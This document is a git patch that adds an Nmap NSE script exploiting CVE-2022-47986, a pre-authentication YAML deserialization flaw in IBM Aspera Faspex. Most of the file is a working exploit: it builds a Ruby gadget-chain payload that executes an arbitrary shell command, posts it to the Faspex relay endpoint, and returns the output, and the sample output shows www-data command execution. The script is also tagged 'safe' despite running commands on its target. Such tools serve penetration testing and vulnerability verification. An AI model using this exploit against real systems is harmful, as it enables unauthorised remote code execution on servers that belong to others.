From dc8e8b1f24117d0eaa4f8c04d7be35c34d4e764f Mon Sep 17 00:00:00 2001 From: mauricelambert <50479118+mauricelambert@users.noreply.github.com> Date: Fri, 10 Mar 2023 23:04:22 +0000 Subject: [PATCH] Create ibm-aspera-faspex-rce.nse --- scripts/ibm-aspera-faspex-rce.nse | 185 ++++++++++++++++++++++++++++++ 1 file changed, 185 insertions(+) create mode 100644 scripts/ibm-aspera-faspex-rce.nse diff --git a/scripts/ibm-aspera-faspex-rce.nse b/scripts/ibm-aspera-faspex-rce.nse new file mode 100644 index 000000000..bc83a1c3a --- /dev/null +++ b/scripts/ibm-aspera-faspex-rce.nse @@ -0,0 +1,185 @@ +description = [[ + This script exploit IBM Aspera Faspex YAML deserialization vulnerability, + a RCE (Remote Code Execution). +]] + +author = "Maurice LAMBERT " +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"safe", "exploit", "intrusive", "vuln"} + +--- +-- @name +-- Aspera Faspex RCE CVE-2022-47986 - Web Server Remote Code Execution +-- @author +-- Maurice LAMBERT +-- @usage +-- nmap -p 443 --script ibm-aspera-faspex-rce [--script-args ("command=")] +-- @args command Command to exploit the RCE and print output +-- @output +-- ~# nmap -p 443 --script ibm-aspera-faspex-rce 172.17.0.2 +-- PORT STATE SERVICE +-- 443/tcp open https +-- | ibm-aspera-faspex-rce: +-- | CVE-2022-47986: +-- | title: Aspera Faspex CVE-2022-47986 RCE +-- | state: VULNERABLE (Exploitable) +-- | ids: +-- | CVE:CVE-2022-47986 +-- | description: +-- | This script exploit IBM Aspera Faspex YAML deserialization vulnerability, a RCE (Remote Code Execution). +-- | dates: +-- | disclosure: +-- | day: 02 +-- | year: 2022 +-- | month: 02 +-- | disclosure: 2022-02-02 +-- | refs: +-- | https://nvd.nist.gov/vuln/detail/CVE-2022-47986 +-- | https://blog.assetnote.io/2023/02/02/pre-auth-rce-aspera-faspex/ +-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-47986 +-- | https://github.com/mauricelambert/CVE-2022-47986 +-- | exploit output: +-- | +-- | uid=33(www-data) gid=33(www-data) groups=33(www-data) +-- |_ +-- @output +-- ~# nmap -p 443 --script ibm-aspera-faspex-rce --script-args "command=id" 172.17.0.2 +-- PORT STATE SERVICE +-- 443/tcp open https +-- | ibm-aspera-faspex-rce: +-- | CVE-2022-47986: +-- | title: Aspera Faspex CVE-2022-47986 RCE +-- | state: VULNERABLE (Exploitable) +-- | ids: +-- | CVE:CVE-2022-47986 +-- | description: +-- | This script exploit IBM Aspera Faspex YAML deserialization vulnerability, a RCE (Remote Code Execution). +-- | dates: +-- | disclosure: +-- | year: 2022 +-- | month: 02 +-- | day: 02 +-- | disclosure: 2022-02-02 +-- | refs: +-- | https://nvd.nist.gov/vuln/detail/CVE-2022-47986 +-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-47986 +-- | https://blog.assetnote.io/2023/02/02/pre-auth-rce-aspera-faspex/ +-- | https://github.com/mauricelambert/CVE-2022-47986 +-- | exploit output: +-- | +-- | uid=33(www-data) gid=33(www-data) groups=33(www-data) +-- |_ + + +local shortport = require "shortport" +local stdnse = require "stdnse" +local vulns = require "vulns" +local http = require "http" +local nmap = require "nmap" + +local detect_only = false + +portrule = shortport.http + +local function get_payload() + + stdnse.debug2("Set command...") + local command = nmap.registry.args.command or "id" + + stdnse.debug2("Building exploit...") + + local exploit = [[ +--- +- !ruby/object:Gem::Installer + i: x +- !ruby/object:Gem::SpecFetcher + i: y +- !ruby/object:Gem::Requirement + requirements: + !ruby/object:Gem::Package::TarReader + io: &1 !ruby/object:Net::BufferedIO + io: &1 !ruby/object:Gem::Package::TarReader::Entry + read: 0 + header: "pew" + debug_output: &1 !ruby/object:Net::WriteAdapter + socket: &1 !ruby/object:PrettyPrint + output: !ruby/object:Net::WriteAdapter + socket: &1 !ruby/module "Kernel" + method_id: :eval + newline: "throw `]] .. command .. [[`" + buffer: {} + group_stack: + - !ruby/object:PrettyPrint::Group + break: true + method_id: :breakable +]] + + stdnse.debug2("Building payload...") + + local payload = [[{ + "package_file_list": [ + "/" + ], + "external_emails": "\n]] .. string.gsub(string.gsub(exploit, '"', "\\\""), '\n', '\\n') .. [[", + "package_name": "assetnote_pack", + "package_note": "hello from assetnote team", + "original_sender_name": "assetnote", + "package_uuid": "d7cb6601-6db9-43aa-8e6b-dfb4768647ec", + "metadata_human_readable": "Yes", + "forward": "pew", + "metadata_json": "{}", + "delivery_uuid": "d7cb6601-6db9-43aa-8e6b-dfb4768647ec", + "delivery_sender_name": "assetnote", + "delivery_title": "TEST", + "delivery_note": "TEST", + "delete_after_download": true, + "delete_after_download_condition": "IDK" +}]] + + return payload +end + +action = function(host, port) + local vuln = { + title = "Aspera Faspex CVE-2022-47986 RCE", + state = vulns.STATE.NOT_VULN, + IDS = { CVE = 'CVE-2022-47986' }, + description = "This script exploit IBM Aspera" .. + " Faspex YAML deserialization vulnerability," .. + " a RCE (Remote Code Execution).", + references = { + 'https://nvd.nist.gov/vuln/detail/CVE-2022-47986', + 'https://blog.assetnote.io/2023/02/02/pre-auth-rce-aspera-faspex/', + 'https://github.com/mauricelambert/CVE-2022-47986', + }, + dates = { + disclosure = {year = '2022', month = '02', day = '02'}, + }, + } + + local report = vulns.Report:new(SCRIPT_NAME, host, port) + + stdnse.print_verbose("Web service is up. Send payload...") + stdnse.debug2("Send HTTP request.") + + local response = http.post( + host, + port, + '/aspera/faspex/package_relay/relay_package', + {}, + nil, + get_payload() + ) + + stdnse.debug2("Get HTTP response.") + + vuln.state = vulns.STATE.EXPLOIT + + local output = report:make_output(vuln) + + output["CVE-2022-47986"]["exploit output"] = ( + "\n " .. "\n" .. response.body .. "\n" + ) + + return output +end